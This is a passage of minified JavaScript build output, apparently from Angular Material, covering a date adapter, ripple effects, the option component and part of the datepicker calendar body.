Intl.DateTimeFormat(this.locale,{...Ue,timeZone:"utc"});return this._format(xe,Re)}addCalendarYears(Re,Ue){return this.addCalendarMonths(Re,12*Ue)}addCalendarMonths(Re,Ue){let xe=this._createDateWithOverflow(this.getYear(Re),this.getMonth(Re)+Ue,this.getDate(Re));return this.getMonth(xe)!=((this.getMonth(Re)+Ue)%12+12)%12&&(xe=this._createDateWithOverflow(this.getYear(xe),this.getMonth(xe),0)),xe}addCalendarDays(Re,Ue){return this._createDateWithOverflow(this.getYear(Re),this.getMonth(Re),this.getDate(Re)+Ue)}toIso8601(Re){return[Re.getUTCFullYear(),this._2digit(Re.getUTCMonth()+1),this._2digit(Re.getUTCDate())].join("-")}deserialize(Re){if("string"==typeof Re){if(!Re)return null;if(bt.test(Re)){let Ue=new Date(Re);if(this.isValid(Ue))return Ue}}return super.deserialize(Re)}isDateInstance(Re){return Re instanceof Date}isValid(Re){return!isNaN(Re.getTime())}invalid(){return new Date(NaN)}_createDateWithOverflow(Re,Ue,xe){const J=new Date;return J.setFullYear(Re,Ue,xe),J.setHours(0,0,0,0),J}_2digit(Re){return("00"+Re).slice(-2)}_format(Re,Ue){const xe=new Date;return xe.setUTCFullYear(Ue.getFullYear(),Ue.getMonth(),Ue.getDate()),xe.setUTCHours(Ue.getHours(),Ue.getMinutes(),Ue.getSeconds(),Ue.getMilliseconds()),Re.format(xe)}}return be.\\u0275fac=function(Re){return new(Re||be)(n.LFG(Ye,8),n.LFG(f.t4))},be.\\u0275prov=n.Yz7({token:be,factory:be.\\u0275fac}),be})();const re={parse:{dateInput:null},display:{dateInput:{year:"numeric",month:"numeric",day:"numeric"},monthYearLabel:{year:"numeric",month:"short"},dateA11yLabel:{year:"numeric",month:"long",day:"numeric"},monthYearA11yLabel:{year:"numeric",month:"long"}}};let ve=(()=>{class be{}return be.\\u0275fac=function(Re){return new(Re||be)},be.\\u0275mod=n.oAB({type:be}),be.\\u0275inj=n.cJS({providers:[{provide:Ke,useClass:De}]}),be})(),We=(()=>{class be{}return be.\\u0275fac=function(Re){return new(Re||be)},be.\\u0275mod=n.oAB({type:be}),be.\\u0275inj=n.cJS({providers:[{provide:dt,useValue:re}],imports:[ve]}),be})(),Be=(()=>{class be{isErrorState(Re,Ue){return!!(Re&&Re.invalid&&(Re.touched||Ue&&Ue.submitted))}}return be.\\u0275fac=function(Re){return new(Re||be)},be.\\u0275prov=n.Yz7({token:be,factory:be.\\u0275fac,providedIn:"root"}),be})(),pe=(()=>{class be{}return be.\\u0275fac=function(Re){return new(Re||be)},be.\\u0275dir=n.lG2({type:be,selectors:[["","mat-line",""],["","matLine",""]],hostAttrs:[1,"mat-line"]}),be})();function P(be,Pe,Re="mat"){be.changes.pipe((0,g.O)(be)).subscribe(({length:Ue})=>{w(Pe,`${Re}-2-line`,!1),w(Pe,`${Re}-3-line`,!1),w(Pe,`${Re}-multi-line`,!1),2===Ue||3===Ue?w(Pe,`${Re}-${Ue}-line`,!0):Ue>3&&w(Pe,`${Re}-multi-line`,!0)})}function w(be,Pe,Re){be.nativeElement.classList.toggle(Pe,Re)}let R=(()=>{class be{}return be.\\u0275fac=function(Re){return new(Re||be)},be.\\u0275mod=n.oAB({type:be}),be.\\u0275inj=n.cJS({imports:[se,se]}),be})();class X{constructor(Pe,Re,Ue,xe=!1){this._renderer=Pe,this.element=Re,this.config=Ue,this._animationForciblyDisabledThroughCss=xe,this.state=3}fadeOut(){this._renderer.fadeOutRipple(this)}}const _e={enterDuration:225,exitDuration:150},Je=(0,f.i$)({passive:!0}),Et=["mousedown","touchstart"],Dt=["mouseup","mouseleave","touchend","touchcancel"];class Pt{constructor(Pe,Re,Ue,xe){this._target=Pe,this._ngZone=Re,this._isPointerDown=!1,this._activeRipples=new Map,this._pointerUpEventsRegistered=!1,xe.isBrowser&&(this._containerElement=(0,E.fI)(Ue))}fadeInRipple(Pe,Re,Ue={}){const xe=this._containerRect=this._containerRect||this._containerElement.getBoundingClientRect(),J={..._e,...Ue.animation};Ue.centered&&(Pe=xe.left+xe.width/2,Re=xe.top+xe.height/2);const Ae=Ue.radius||function Ie(be,Pe,Re){const Ue=Math.max(Math.abs(be-Re.left),Math.abs(be-Re.right)),xe=Math.max(Math.abs(Pe-Re.top),Math.abs(Pe-Re.bottom));return Math.sqrt(Ue*Ue+xe*xe)}(Pe,Re,xe),mt=Pe-xe.left,Ct=Re-xe.top,jt=J.enterDuration,pt=document.createElement("div");pt.classList.add("mat-ripple-element"),pt.style.left=mt-Ae+"px",pt.style.top=Ct-Ae+"px",pt.style.height=2*Ae+"px",pt.style.width=2*Ae+"px",null!=Ue.color&&(pt.style.backgroundColor=Ue.color),pt.style.transitionDuration=`${jt}ms`,this._containerElement.appendChild(pt);const nt=window.getComputedStyle(pt),Ee=nt.transitionDuration,at="none"===nt.transitionProperty||"0s"===Ee||"0s, 0s"===Ee,Se=new X(this,pt,Ue,at);pt.style.transform="scale3d(1, 1, 1)",Se.state=0,Ue.persistent||(this._mostRecentTransientRipple=Se);let ot=null;return!at&&(jt||J.exitDuration)&&this._ngZone.runOutsideAngular(()=>{const Ne=()=>this._finishRippleTransition(Se),ut=()=>this._destroyRipple(Se);pt.addEventListener("transitionend",Ne),pt.addEventListener("transitioncancel",ut),ot={onTransitionEnd:Ne,onTransitionCancel:ut}}),this._activeRipples.set(Se,ot),(at||!jt)&&this._finishRippleTransition(Se),Se}fadeOutRipple(Pe){if(2===Pe.state||3===Pe.state)return;const Re=Pe.element,Ue={..._e,...Pe.config.animation};Re.style.transitionDuration=`${Ue.exitDuration}ms`,Re.style.opacity="0",Pe.state=2,(Pe._animationForciblyDisabledThroughCss||!Ue.exitDuration)&&this._finishRippleTransition(Pe)}fadeOutAll(){this._getActiveRipples().forEach(Pe=>Pe.fadeOut())}fadeOutAllNonPersistent(){this._getActiveRipples().forEach(Pe=>{Pe.config.persistent||Pe.fadeOut()})}setupTriggerEvents(Pe){const Re=(0,E.fI)(Pe);!Re||Re===this._triggerElement||(this._removeTriggerEvents(),this._triggerElement=Re,this._registerEvents(Et))}handleEvent(Pe){"mousedown"===Pe.type?this._onMousedown(Pe):"touchstart"===Pe.type?this._onTouchStart(Pe):this._onPointerUp(),this._pointerUpEventsRegistered||(this._registerEvents(Dt),this._pointerUpEventsRegistered=!0)}_finishRippleTransition(Pe){0===Pe.state?this._startFadeOutTransition(Pe):2===Pe.state&&this._destroyRipple(Pe)}_startFadeOutTransition(Pe){const Re=Pe===this._mostRecentTransientRipple,{persistent:Ue}=Pe.config;Pe.state=1,!Ue&&(!Re||!this._isPointerDown)&&Pe.fadeOut()}_destroyRipple(Pe){const Re=this._activeRipples.get(Pe)??null;this._activeRipples.delete(Pe),this._activeRipples.size||(this._containerRect=null),Pe===this._mostRecentTransientRipple&&(this._mostRecentTransientRipple=null),Pe.state=3,null!==Re&&(Pe.element.removeEventListener("transitionend",Re.onTransitionEnd),Pe.element.removeEventListener("transitioncancel",Re.onTransitionCancel)),Pe.element.remove()}_onMousedown(Pe){const Re=(0,a.X6)(Pe),Ue=this._lastTouchStartEvent&&Date.now()<this._lastTouchStartEvent+800;!this._target.rippleDisabled&&!Re&&!Ue&&(this._isPointerDown=!0,this.fadeInRipple(Pe.clientX,Pe.clientY,this._target.rippleConfig))}_onTouchStart(Pe){if(!this._target.rippleDisabled&&!(0,a.yG)(Pe)){this._lastTouchStartEvent=Date.now(),this._isPointerDown=!0;const Re=Pe.changedTouches;for(let Ue=0;Ue<Re.length;Ue++)this.fadeInRipple(Re[Ue].clientX,Re[Ue].clientY,this._target.rippleConfig)}}_onPointerUp(){this._isPointerDown&&(this._isPointerDown=!1,this._getActiveRipples().forEach(Pe=>{!Pe.config.persistent&&(1===Pe.state||Pe.config.terminateOnPointerUp&&0===Pe.state)&&Pe.fadeOut()}))}_registerEvents(Pe){this._ngZone.runOutsideAngular(()=>{Pe.forEach(Re=>{this._triggerElement.addEventListener(Re,this,Je)})})}_getActiveRipples(){return Array.from(this._activeRipples.keys())}_removeTriggerEvents(){this._triggerElement&&(Et.forEach(Pe=>{this._triggerElement.removeEventListener(Pe,this,Je)}),this._pointerUpEventsRegistered&&Dt.forEach(Pe=>{this._triggerElement.removeEventListener(Pe,this,Je)}))}}const te=new n.OlP("mat-ripple-global-options");let x=(()=>{class be{constructor(Re,Ue,xe,J,Ae){this._elementRef=Re,this._animationMode=Ae,this.radius=0,this._disabled=!1,this._isInitialized=!1,this._globalOptions=J||{},this._rippleRenderer=new Pt(this,Ue,Re,xe)}get disabled(){return this._disabled}set disabled(Re){Re&&this.fadeOutAllNonPersistent(),this._disabled=Re,this._setupTriggerEventsIfEnabled()}get trigger(){return this._trigger||this._elementRef.nativeElement}set trigger(Re){this._trigger=Re,this._setupTriggerEventsIfEnabled()}ngOnInit(){this._isInitialized=!0,this._setupTriggerEventsIfEnabled()}ngOnDestroy(){this._rippleRenderer._removeTriggerEvents()}fadeOutAll(){this._rippleRenderer.fadeOutAll()}fadeOutAllNonPersistent(){this._rippleRenderer.fadeOutAllNonPersistent()}get rippleConfig(){return{centered:this.centered,radius:this.radius,color:this.color,animation:{...this._globalOptions.animation,..."NoopAnimations"===this._animationMode?{enterDuration:0,exitDuration:0}:{},...this.animation},terminateOnPointerUp:this._globalOptions.terminateOnPointerUp}}get rippleDisabled(){return this.disabled||!!this._globalOptions.disabled}_setupTriggerEventsIfEnabled(){!this.disabled&&this._isInitialized&&this._rippleRenderer.setupTriggerEvents(this.trigger)}launch(Re,Ue=0,xe){return"number"==typeof Re?this._rippleRenderer.fadeInRipple(Re,Ue,{...this.rippleConfig,...xe}):this._rippleRenderer.fadeInRipple(0,0,{...this.rippleConfig,...Re})}}return be.\\u0275fac=function(Re){return new(Re||be)(n.Y36(n.SBq),n.Y36(n.R0b),n.Y36(f.t4),n.Y36(te,8),n.Y36(n.QbO,8))},be.\\u0275dir=n.lG2({type:be,selectors:[["","mat-ripple",""],["","matRipple",""]],hostAttrs:[1,"mat-ripple"],hostVars:2,hostBindings:function(Re,Ue){2&Re&&n.ekj("mat-ripple-unbounded",Ue.unbounded)},inputs:{color:["matRippleColor","color"],unbounded:["matRippleUnbounded","unbounded"],centered:["matRippleCentered","centered"],radius:["matRippleRadius","radius"],animation:["matRippleAnimation","animation"],disabled:["matRippleDisabled","disabled"],trigger:["matRippleTrigger","trigger"]},exportAs:["matRipple"]}),be})(),m=(()=>{class be{}return be.\\u0275fac=function(Re){return new(Re||be)},be.\\u0275mod=n.oAB({type:be}),be.\\u0275inj=n.cJS({imports:[se,se]}),be})(),b=(()=>{class be{constructor(Re){this._animationMode=Re,this.state="unchecked",this.disabled=!1}}return be.\\u0275fac=function(Re){return new(Re||be)(n.Y36(n.QbO,8))},be.\\u0275cmp=n.Xpm({type:be,selectors:[["mat-pseudo-checkbox"]],hostAttrs:[1,"mat-pseudo-checkbox"],hostVars:8,hostBindings:function(Re,Ue){2&Re&&n.ekj("mat-pseudo-checkbox-indeterminate","indeterminate"===Ue.state)("mat-pseudo-checkbox-checked","checked"===Ue.state)("mat-pseudo-checkbox-disabled",Ue.disabled)("_mat-animation-noopable","NoopAnimations"===Ue._animationMode)},inputs:{state:"state",disabled:"disabled"},decls:0,vars:0,template:function(Re,Ue){},styles:[\'.mat-pseudo-checkbox{width:16px;height:16px;border:2px solid;border-radius:2px;cursor:pointer;display:inline-block;vertical-align:middle;box-sizing:border-box;position:relative;flex-shrink:0;transition:border-color 90ms cubic-bezier(0, 0, 0.2, 0.1),background-color 90ms cubic-bezier(0, 0, 0.2, 0.1)}.mat-pseudo-checkbox::after{position:absolute;opacity:0;content:"";border-bottom:2px solid currentColor;transition:opacity 90ms cubic-bezier(0, 0, 0.2, 0.1)}.mat-pseudo-checkbox.mat-pseudo-checkbox-checked,.mat-pseudo-checkbox.mat-pseudo-checkbox-indeterminate{border-color:rgba(0,0,0,0)}.mat-pseudo-checkbox._mat-animation-noopable{transition:none !important;animation:none !important}.mat-pseudo-checkbox._mat-animation-noopable::after{transition:none}.mat-pseudo-checkbox-disabled{cursor:default}.mat-pseudo-checkbox-indeterminate::after{top:5px;left:1px;width:10px;opacity:1;border-radius:2px}.mat-pseudo-checkbox-checked::after{top:2.4px;left:1px;width:8px;height:3px;border-left:2px solid currentColor;transform:rotate(-45deg);opacity:1;box-sizing:content-box}\'],encapsulation:2,changeDetection:0}),be})(),B=(()=>{class be{}return be.\\u0275fac=function(Re){return new(Re||be)},be.\\u0275mod=n.oAB({type:be}),be.\\u0275inj=n.cJS({imports:[se]}),be})();const ie=new n.OlP("MAT_OPTION_PARENT_COMPONENT"),Vt=new n.OlP("MatOptgroup");let qt=0;class u1{constructor(Pe,Re=!1){this.source=Pe,this.isUserInput=Re}}let c1=(()=>{class be{constructor(Re,Ue,xe,J){this._element=Re,this._changeDetectorRef=Ue,this._parent=xe,this.group=J,this._selected=!1,this._active=!1,this._disabled=!1,this._mostRecentViewValue="",this.id="mat-option-"+qt++,this.onSelectionChange=new n.vpe,this._stateChanges=new S.xQ}get multiple(){return this._parent&&this._parent.multiple}get selected(){return this._selected}get disabled(){return this.group&&this.group.disabled||this._disabled}set disabled(Re){this._disabled=(0,E.Ig)(Re)}get disableRipple(){return!(!this._parent||!this._parent.disableRipple)}get active(){return this._active}get viewValue(){return(this._getHostElement().textContent||"").trim()}select(){this._selected||(this._selected=!0,this._changeDetectorRef.markForCheck(),this._emitSelectionChangeEvent())}deselect(){this._selected&&(this._selected=!1,this._changeDetectorRef.markForCheck(),this._emitSelectionChangeEvent())}focus(Re,Ue){const xe=this._getHostElement();"function"==typeof xe.focus&&xe.focus(Ue)}setActiveStyles(){this._active||(this._active=!0,this._changeDetectorRef.markForCheck())}setInactiveStyles(){this._active&&(this._active=!1,this._changeDetectorRef.markForCheck())}getLabel(){return this.viewValue}_handleKeydown(Re){(Re.keyCode===C.K5||Re.keyCode===C.L_)&&!(0,C.Vb)(Re)&&(this._selectViaInteraction(),Re.preventDefault())}_selectViaInteraction(){this.disabled||(this._selected=!this.multiple||!this._selected,this._changeDetectorRef.markForCheck(),this._emitSelectionChangeEvent(!0))}_getAriaSelected(){return this.selected||!this.multiple&&null}_getTabIndex(){return this.disabled?"-1":"0"}_getHostElement(){return this._element.nativeElement}ngAfterViewChecked(){if(this._selected){const Re=this.viewValue;Re!==this._mostRecentViewValue&&(this._mostRecentViewValue=Re,this._stateChanges.next())}}ngOnDestroy(){this._stateChanges.complete()}_emitSelectionChangeEvent(Re=!1){this.onSelectionChange.emit(new u1(this,Re))}}return be.\\u0275fac=function(Re){n.$Z()},be.\\u0275dir=n.lG2({type:be,inputs:{value:"value",id:"id",disabled:"disabled"},outputs:{onSelectionChange:"onSelectionChange"}}),be})(),It=(()=>{class be extends c1{constructor(Re,Ue,xe,J){super(Re,Ue,xe,J)}}return be.\\u0275fac=function(Re){return new(Re||be)(n.Y36(n.SBq),n.Y36(n.sBO),n.Y36(ie,8),n.Y36(Vt,8))},be.\\u0275cmp=n.Xpm({type:be,selectors:[["mat-option"]],hostAttrs:["role","option",1,"mat-option","mat-focus-indicator"],hostVars:12,hostBindings:function(Re,Ue){1&Re&&n.NdJ("click",function(){return Ue._selectViaInteraction()})("keydown",function(J){return Ue._handleKeydown(J)}),2&Re&&(n.Ikx("id",Ue.id),n.uIk("tabindex",Ue._getTabIndex())("aria-selected",Ue._getAriaSelected())("aria-disabled",Ue.disabled.toString()),n.ekj("mat-selected",Ue.selected)("mat-option-multiple",Ue.multiple)("mat-active",Ue.active)("mat-option-disabled",Ue.disabled))},exportAs:["matOption"],features:[n.qOj],ngContentSelectors:G,decls:5,vars:4,consts:[["class","mat-option-pseudo-checkbox",3,"state","disabled",4,"ngIf"],[1,"mat-option-text"],["class","cdk-visually-hidden",4,"ngIf"],["mat-ripple","",1,"mat-option-ripple",3,"matRippleTrigger","matRippleDisabled"],[1,"mat-option-pseudo-checkbox",3,"state","disabled"],[1,"cdk-visually-hidden"]],template:function(Re,Ue){1&Re&&(n.F$t(),n.YNc(0,j,1,2,"mat-pseudo-checkbox",0),n.TgZ(1,"span",1),n.Hsn(2),n.qZA(),n.YNc(3,U,2,1,"span",2),n._UZ(4,"div",3)),2&Re&&(n.Q6J("ngIf",Ue.multiple),n.xp6(3),n.Q6J("ngIf",Ue.group&&Ue.group._inert),n.xp6(1),n.Q6J("matRippleTrigger",Ue._getHostElement())("matRippleDisabled",Ue.disabled||Ue.disableRipple))},dependencies:[x,c.O5,b],styles:[\'.mat-option{white-space:nowrap;overflow:hidden;text-overflow:ellipsis;display:block;line-height:48px;height:48px;padding:0 16px;text-align:left;text-decoration:none;max-width:100%;position:relative;cursor:pointer;outline:none;display:flex;flex-direction:row;max-width:100%;box-sizing:border-box;align-items:center;-webkit-tap-highlight-color:rgba(0,0,0,0)}.mat-option[disabled]{cursor:default}[dir=rtl] .mat-option{text-align:right}.mat-option .mat-icon{margin-right:16px;vertical-align:middle}.mat-option .mat-icon svg{vertical-align:top}[dir=rtl] .mat-option .mat-icon{margin-left:16px;margin-right:0}.mat-option[aria-disabled=true]{-webkit-user-select:none;user-select:none;cursor:default}.mat-optgroup .mat-option:not(.mat-option-multiple){padding-left:32px}[dir=rtl] .mat-optgroup .mat-option:not(.mat-option-multiple){padding-left:16px;padding-right:32px}.mat-option.mat-active::before{content:""}.cdk-high-contrast-active .mat-option[aria-disabled=true]{opacity:.5}.cdk-high-contrast-active .mat-option.mat-selected:not(.mat-option-multiple)::after{content:"";position:absolute;top:50%;right:16px;transform:translateY(-50%);width:10px;height:0;border-bottom:solid 10px;border-radius:10px}[dir=rtl] .cdk-high-contrast-active .mat-option.mat-selected:not(.mat-option-multiple)::after{right:auto;left:16px}.mat-option-text{display:inline-block;flex-grow:1;overflow:hidden;text-overflow:ellipsis}.mat-option .mat-option-ripple{top:0;left:0;right:0;bottom:0;position:absolute;pointer-events:none}.mat-option-pseudo-checkbox{margin-right:8px}[dir=rtl] .mat-option-pseudo-checkbox{margin-left:8px;margin-right:0}\'],encapsulation:2,changeDetection:0}),be})();function _t(be,Pe,Re){if(Re.length){let Ue=Pe.toArray(),xe=Re.toArray(),J=0;for(let Ae=0;Ae<be+1;Ae++)Ue[Ae].group&&Ue[Ae].group===xe[J]&&J++;return J}return 0}function kt(be,Pe,Re,Ue){return be<Re?be:be+Pe>Re+Ue?Math.max(0,be-Ue+Pe):Re}let Fe=(()=>{class be{}return be.\\u0275fac=function(Re){return new(Re||be)},be.\\u0275mod=n.oAB({type:be}),be.\\u0275inj=n.cJS({imports:[m,c.ez,se,B]}),be})()},9602:(At,ae,d)=>{"use strict";d.d(ae,{FA:()=>Me,Mq:()=>pt,hl:()=>ot,nW:()=>ut});var n=d(2687),a=d(8184),s=d(4080),u=d(6895),c=d(4650),f=d(4859),E=d(7261),_=d(3238),S=d(8929),g=d(2654),C=d(6787),z=d(1086),H=d(9521),j=d(445),U=d(2986),G=d(1059),Q=d(2198),oe=d(1281),Ce=d(3353),k=d(7340),K=d(4006),se=d(9549),ee=d(4144);const q=["mat-calendar-body",""];function we(O,de){if(1&O&&(c.TgZ(0,"tr",2)(1,"td",3),c._uU(2),c.qZA()()),2&O){const h=c.oxw();c.xp6(1),c.Udp("padding-top",h._cellPadding)("padding-bottom",h._cellPadding),c.uIk("colspan",h.numCols),c.xp6(1),c.hij(" ",h.label," ")}}function ce(O,de){if(1&O&&(c.TgZ(0,"td",3),c._uU(1),c.qZA()),2&O){const h=c.oxw(2);c.Udp("padding-top",h._cellPadding)("padding-bottom",h._cellPadding),c.uIk("colspan",h._firstRowOffset),c.xp6(1),c.hij(" ",h._firstRowOffset>=h.labelMinRequiredCells?h.label:""," ")}}function je(O,de){if(1&O){const h=c.EpF();c.TgZ(0,"td",7)(1,"button",8),c.NdJ("click",function(ke){const Wt=c.CHM(h).$implicit,p1=c.oxw(2);return c.KtG(p1._cellClicked(Wt,ke))})("focus",function(ke){const Wt=c.CHM(h).$implicit,p1=c.oxw(2);return c.KtG(p1._emitActiveDateChange(Wt,ke))}),c.TgZ(2,"div",9),c._uU(3),c.qZA(),c._UZ(4,"div",10),c.qZA()()}if(2&O){const h=de.$implicit,$=de.index,ke=c.oxw().index,lt=c.oxw();c.Udp("width",lt._cellWidth)("padding-top",lt._cellPadding)("padding-bottom",lt._cellPadding),c.uIk("data-mat-row",ke)("data-mat-col",$),c.xp6(1),c.ekj("mat-calendar-body-disabled",!h.enabled)("mat-calendar-body-active",lt._isActiveCell(ke,$))("mat-calendar-body-range-start",lt._isRangeStart(h.compareValue))("mat-calendar-body-range-end",lt._isRangeEnd(h.compareValue))("mat-calendar-body-in-range",lt._isInRange(h.compareValue))("mat-calendar-body-comparison-bridge-start",lt._isComparisonBridgeStart(h.compareValue,ke,$))("mat-calendar-body-comparison-bridge-end",lt._isComparisonBridgeEnd(h.compareValue,ke,$))("mat-calendar-body-comparison-start",lt._isComparisonStart(h.compareValue))("mat-calendar-body-comparison-end",lt._isComparisonEnd(h.compareValue))("mat-calendar-body-in-comparison-range",lt._isInComparisonRange(h.compareValue))("mat-calendar-body-preview-start",lt._isPreviewStart(h.compareValue))("mat-calendar-body-preview-end",lt._isPreviewEnd(h.compareValue))("mat-calendar-body-in-preview",lt._isInPreview(h.compareValue)),c.Q6J("ngClass",h.cssClasses)("tabindex",lt._isActiveCell(ke,$)?0:-1),c.uIk("aria-label",h.ariaLabel)("aria-disabled",!h.enabled||null)("aria-pressed",lt._isSelected(h.compareValue))("aria-current",lt.todayValue===h.compareValue?"date":null),c.xp6(1),c.ekj("mat-calendar-body-selected",lt._isSelected(h.compareValue))("mat-calendar-body-comparison-identical",lt._isComparisonIdentical(h.compareValue))("mat-calendar-body-today",lt.todayValue===h.compareValue),c.xp6(1),c.hij(" ",h.displayValue," ")}}function Ze(O,de){if(1&O&&(c.TgZ(0,"tr",4),c.YNc(1,ce,2,6,"td",5),c.YNc(2,je,5,47,"td",6),c.qZA()),2&O){const h=de.$implicit,$=de.index,ke=c.oxw();c.xp6(1),c.Q6J("ngIf",0===$&&ke._firstRowOffset),c.xp6(1),c.Q6J("ngForOf",h)}}function le(O,de){if(1&O&&(c.TgZ(0,"th",5)(1,"span",6),c._uU(2),c.qZA(),c.TgZ(3,"span",7),c._uU(4),c.qZA()()),2&O){const h=de.$implicit;c.xp6(2),c.Oqu(h.long),c.xp6(2),c.Oqu(h.narrow)}}const Oe=["*"];function Qe(O,de){}function Ye(O,de){if(1&O){const h=c.EpF();c.TgZ(0,"mat-month-view",5),c.NdJ("activeDateChange",function(ke){c.CHM(h);const lt=c.oxw();return c.KtG(lt.activeDate=ke)})("_userSelection",function(ke){c.CHM(h);const lt=c.oxw();return c.KtG(lt._dateSelected(ke))}),c.qZA()}if(2&O){const h=c.oxw();c.Q6J("activeDate",h.activeDate)("selected",h.selected)("dateFilter",h.dateFilter)("maxDate",h.maxDate)("minDate",h.minDate)("dateClass",h.dateClass)("comparisonStart",h.comparisonStart)("comparisonEnd",h.comparisonEnd)}}function qe(O,de){if(1&O){const h=c.EpF();c.TgZ(0,"mat-year-view",6),c.NdJ("activeDateChange",function(ke){c.CHM(h);const lt=c.oxw();return c.KtG(lt.activeDate=ke)})("monthSelected",function(ke){c.CHM(h);const lt=c.oxw();return c.KtG(lt._monthSelectedInYearView(ke))})("selectedChange",function(ke){c.CHM(h);const lt=c.oxw();return c.KtG(lt._goToDateInView(ke,"month"))}),c.qZA()}if(2&O){const h=c.oxw();c.Q6J("activeDate",h.activeDate)("selected",h.selected)("dateFilter",h.dateFilter)("maxDate",h.maxDate)("minDate",h.minDate)("dateClass",h.dateClass)}}function Ke(O,de){if(1&O){const h=c.EpF();c.TgZ(0,"mat-multi-year-view",7),c.NdJ("activeDateChange",function(ke){c.CHM(h);const lt=c.oxw();return c.KtG(lt.activeDate=ke)})("yearSelected",function(ke){c.CHM(h);const lt=c.oxw();return c.KtG(lt._yearSelectedInMultiYearView(ke))})("selectedChange",function(ke){c.CHM(h);const lt=c.oxw();return c.KtG(lt._goToDateInView(ke,"year"))}),c.qZA()}if(2&O){const h=c.oxw();c.Q6J("activeDate",h.activeDate)("selected",h.selected)("dateFilter",h.dateFilter)("maxDate",h.maxDate)("minDate",h.minDate)("dateClass",h.dateClass)}}function dt(O,de){}const bt=["button"];function ze(O,de){1&O&&(c.O4$(),c.TgZ(0,"svg",3),c._UZ(1,"path",4),c.qZA())}const De=[[["","matDatepickerToggleIcon",""]]],re=["[matDatepickerToggleIcon]"];let pe=(()=>{class O{constructor(){this.changes=new S.xQ,this.calendarLabel="Calendar",this.openCalendarLabel="Open calendar",this.closeCalendarLabel="Close calendar",this.prevMonthLabel="Previous month",this.nextMonthLabel="Next month",this.prevYearLabel="Previous year",this.nextYearLabel="Next year",this.prevMultiYearLabel="Previous 24 years",this.nextMultiYearLabel="Next 24 years",this.switchToMonthViewLabel="Choose date",this.switchToMultiYearViewLabel="Choose month and year",this.startDateLabel="Start date",this.endDateLabel="End date"}formatYearRange(h,$){return`${h} \\u2013 ${$}`}formatYearRangeLabel(h,$){return`${h} to ${$}`}}return O.\\u0275fac=function(h){return new(h||O)},O.\\u0275prov=c.Yz7({token:O,factory:O.\\u0275fac,providedIn:"root"}),O})();class P{constructor(de,h,$,ke,lt={},Wt=de,p1){this.value=de,this.displayValue=h,this.ariaLabel=$,this.enabled=ke,this.cssClasses=lt,this.compareValue=Wt,this.rawValue=p1}}let w=(()=>{class O{constructor(h,$){this._elementRef=h,this._ngZone=$,this._focusActiveCellAfterViewChecked=!1,this.numCols=7,this.activeCell=0,this.isRange=!1,this.cellAspectRatio=1,this.previewStart=null,this.previewEnd=null,this.selectedValueChange=new c.vpe,this.previewChange=new c.vpe,this.activeDateChange=new c.vpe,this._enterHandler=ke=>{if(this._skipNextFocus&&"focus"===ke.type)this._skipNextFocus=!1;else if(ke.target&&this.isRange){const lt=this._getCellFromElement(ke.target);lt&&this._ngZone.run(()=>this.previewChange.emit({value:lt.enabled?lt:null,event:ke}))}},this._leaveHandler=ke=>{null!==this.previewEnd&&this.isRange&&ke.target&&this._getCellFromElement(ke.target)&&this._ngZone.run(()=>this.previewChange.emit({value:null,event:ke}))},$.runOutsideAngular(()=>{const ke=h.nativeElement;ke.addEventListener("mouseenter",this._enterHandler,!0),ke.addEventListener("focus",this._enterHandler,!0),ke.addEventListener("mouseleave",this._leaveHandler,!0),ke.addEventListener("blur",this._leaveHandler,!0)})}ngAfterViewChecked(){this._focusActiveCellAfterViewChecked&&(this._focusActiveCell(),this._focusActiveCellAfterViewChecked=!1)}_cellClicked(h,$){h.enabled&&this.selectedValueChange.emit({value:h.value,event:$})}_emitActiveDateChange(h,$){h.enabled&&this.activeDateChange.emit({value:h.value,event:$})}_isSelected(h){return this.startValue===h||this.endValue===h}ngOnChanges(h){const $=h.numCols,{rows:ke,numCols:lt}=this;(h.rows||$)&&(this._firstRowOffset=ke&&ke.length&&ke[0].length?lt-ke[0].length:0),(h.cellAspectRatio||$||!this._cellPadding)&&(this._cellPadding=50*this.cellAspectRatio/lt+"%"),($||!this._cellWidth)&&(this._cellWidth=100/lt+"%")}ngOnDestroy(){const h=this._elementRef.nativeElement;h.removeEventListener("mouseenter",this._enterHandler,!0),h.removeEventListener("focus",this._enterHandler,!0),h.removeEventListener("mouseleave",this._leaveHandler,!0),h.removeEventListener("blur",this._leaveHandler,!0)}_isActiveCell(h,$){let ke=h*this.numCols+$;return h&&(ke-=this._firstRowOffset),ke==this.activeCell}_focusActiveCell(h=!0){this._ngZone.runOutsideAngular(()=>{this._ngZone.onStable.pipe((0,U.q)(1)).subscribe(()=>{setTimeout(()=>{const $=this._elementRef.nativeElement.querySelector(".mat-calendar-body-active");$&&(h||(this._skipNextFocus=!0),$.focus())})})})}_scheduleFocusActiveCellAfterViewChecked(){this._focusActiveCellAfterViewChecked=!0}_isRangeStart(h){return X(h,this.startValue,this.endValue)}_isRangeEnd(h){return _e(h,this.startValue,this.endValue)}_isInRange(h){return ct(h,this.startValue,this.endValue,this.isRange)}_isComparisonStart(h){return X(h,this.comparisonStart,this.comparisonEnd)}_isComparisonBridgeStart(h,$,ke){if(!this._isComparisonStart(h)||this._isRangeStart(h)||!this._isInRange(h))return!1;let lt=this.rows[$][ke-1];if(!lt){const Wt=this.rows[$-1];lt=Wt&&Wt[Wt.length-1]}return lt&&!this._isRangeEnd(lt.compareValue)}_isComparisonBridgeEnd(h,$,ke){if(!this._isComparisonEnd(h)||this._isRangeEnd(h)||!this._isInRange(h))return!1;let lt=this.rows[$][ke+1];if(!lt){const Wt=this.rows[$+1];lt=Wt&&Wt[0]}return lt&&!this._isRangeStart(lt.compareValue)}_isComparisonEnd(h){return _e(h,this.comparisonStart,this.comparisonEnd)}_isInComparisonRange(h){return ct(h,this.comparisonStart,this.comparisonEnd,this.isRange)}_isComparisonIdentical(h){return this.comparisonStart===this.comparisonEnd&&h===this.comparisonStart}_isPreviewStart(h){return X(h,this.previewStart,this.previewEnd)}_isPreviewEnd(h){return _e(h,this.previewStart,this.previewEnd)}_isInPreview(h){return ct(h,this.previewStart,this.previewEnd,this.isRange)}_getCellFromElement(h){let $;if(R(h)?$=h:R(h.parentNode)&&($=h.parentNode),$){const ke=$.getAttribute("data-mat-row"),lt=$.getAttribute("data-mat-col");if(ke&<)return this.rows[parseInt(ke)][parseInt(lt)]}return null}}return O.\\u0275fac=function(h){return 